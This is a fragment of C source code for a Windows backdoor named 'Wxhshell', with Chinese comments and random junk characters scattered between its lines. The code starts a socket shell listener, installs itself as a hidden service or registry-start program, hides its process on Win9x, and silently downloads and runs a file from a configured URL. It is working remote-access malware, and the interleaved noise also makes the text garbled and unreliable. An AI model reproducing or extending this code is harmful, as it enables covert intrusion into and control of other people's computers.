y:a unsigned long cbNeeded; ?+)O4?# c0.i if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fJ_d,4 I6d4<#Q@L CloseHandle(hProcess); y<bA Y_-[ 2yk32| if(strstr(procName,"services")) return 1; // 以服务启动 6vySOVMj |[/[*hDZ9 return 0; // 注册表启动 Z&gM7Zo8 } L|Zja* ,*SoV~ // 主模块 [hE0 9W int StartWxhshell(LPSTR lpCmdLine) j]\3>. { Z?yMy zT SOCKET wsl; hm"i\JZ3N BOOL val=TRUE; Z<6XB{Nh\ int port=0; [m3[plwe struct sockaddr_in door; 1'wwwxe7 rcUXYJCh- if(wscfg.ws_autoins) Install(); 5(0f"zY (he cvJ port=atoi(lpCmdLine); 7/nnl0u8 dYdZt<6W<( if(port<=0) port=wscfg.ws_port; &L[oQni];2 ],l
w WSADATA data; n4Od4&r if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E^z\b * E_-3G<rt if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; AsyJDt'i setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B -XM(Cj door.sin_family = AF_INET; Ffxf!zS door.sin_addr.s_addr = inet_addr("127.0.0.1"); X_yAx)Do door.sin_port = htons(port); Gzxq] Mg jU\vg;nr if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?;Ck]l#5ys closesocket(wsl); Gq_rZo(@ return 1; $xRZU9+ } 56 k89o VPG+]>* if(listen(wsl,2) == INVALID_SOCKET) { v0762w closesocket(wsl); ^.5`jdk return 1; 8zv=@`4@G } cNX,% Wxhshell(wsl); OU&eswW WSACleanup(); J
ik+t\A T=6fZ;7 return 0; =\;yxl Q@B--Omfh } 9aYDi) ?+{=>{1 // 以NT服务方式启动 3n{'}SYyz VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kigq(a { vK\n4mE[, DWORD status = 0; CG!/Lbd DWORD specificError = 0xfffffff; P70\ |M0~y DA'A-C2 serviceStatus.dwServiceType = SERVICE_WIN32; \LX!n!@ serviceStatus.dwCurrentState = SERVICE_START_PENDING; )c
vA}U.z serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rv>K0= t0 serviceStatus.dwWin32ExitCode = 0; )NG{iD{_] serviceStatus.dwServiceSpecificExitCode = 0; %Z|]"=;6 serviceStatus.dwCheckPoint = 0; . C_\xb serviceStatus.dwWaitHint = 0; .kO!8Q-;% %n<u- {` hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r83chR9 if (hServiceStatusHandle==0) return; .I%p0ds1r sU>!sxW status = GetLastError(); )Ih'0>= if (status!=NO_ERROR) LwDm(gG { `uRf*- serviceStatus.dwCurrentState = SERVICE_STOPPED; '_)NI serviceStatus.dwCheckPoint = 0; e_3KNQ`kA serviceStatus.dwWaitHint = 0; L@> +iZSO serviceStatus.dwWin32ExitCode = status; H]v"_!(\ serviceStatus.dwServiceSpecificExitCode = specificError; (ATvH_Z SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y@WCp return; x!$Dje} } Ta;'f7Oz 5r1{l%? serviceStatus.dwCurrentState = SERVICE_RUNNING; 2p3ep, serviceStatus.dwCheckPoint = 0; " jefB6k9h serviceStatus.dwWaitHint = 0; -cW`qWbd if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xs jJ8>G } .O9A[s< ;DWtCtD // 处理NT服务事件,比如:启动、停止 e~7h8?\.q VOID WINAPI NTServiceHandler(DWORD fdwControl) {)^P_zha[9 { 6L--FY>.- switch(fdwControl) XI6LPA0% { 0fc]RkHs" case SERVICE_CONTROL_STOP: B- 63IN serviceStatus.dwWin32ExitCode = 0; .;6G?8` serviceStatus.dwCurrentState = SERVICE_STOPPED; Op] L#<&T serviceStatus.dwCheckPoint = 0; wm@/>X serviceStatus.dwWaitHint = 0; 1S!<D)n { hR;J#w SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mv9q-SIc[ } ]KX _a1e return; I{Pny/d` case SERVICE_CONTROL_PAUSE: /rRQ*m_ serviceStatus.dwCurrentState = SERVICE_PAUSED; b}P5*}$:9" break; -OLXR c= case SERVICE_CONTROL_CONTINUE: 5 fGUJ[F= serviceStatus.dwCurrentState = SERVICE_RUNNING; \VW&z:/*pZ break; .:eNL]2%: case SERVICE_CONTROL_INTERROGATE: Mp;yvatO break; .BLF7>
M1 }; fneg[K SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z
Mp } ![H!Y W' {,r7dxI)` // 标准应用程序主函数 JM8s]& int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gR `:)> { d\nBc6 D}Jhg`9 // 获取操作系统版本 IbRy~ OsIsNt=GetOsVer(); k^A Yg!~ GetModuleFileName(NULL,ExeFile,MAX_PATH); cE
x$cZRMI !ra CpL9; // 从命令行安装 |.D_[QI if(strpbrk(lpCmdLine,"iI")) Install(); 5u ED ~<0!sE&y // 下载执行文件 M,Y lhL if(wscfg.ws_downexe) { 3HsjF5?W if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,6[}qw)* WinExec(wscfg.ws_filenam,SW_HIDE); Ck,.4@\tK } kqYvd]ss , WF)GS|7V if(!OsIsNt) { _#c^z;! // 如果时win9x,隐藏进程并且设置为注册表启动 4uip!@$K HideProc(); &JoMrcEZ StartWxhshell(lpCmdLine); F\.n42Tz } h3^&,U else -la~p~8 if(StartFromService()) U:]b&I // 以服务方式启动 q?C)5( StartServiceCtrlDispatcher(DispatchTable); K7&A^$` else xNt // 普通方式启动 tMaJ; 4 StartWxhshell(lpCmdLine); 02]9OnWw )=\W
sQ return 0; UXB[3SP }
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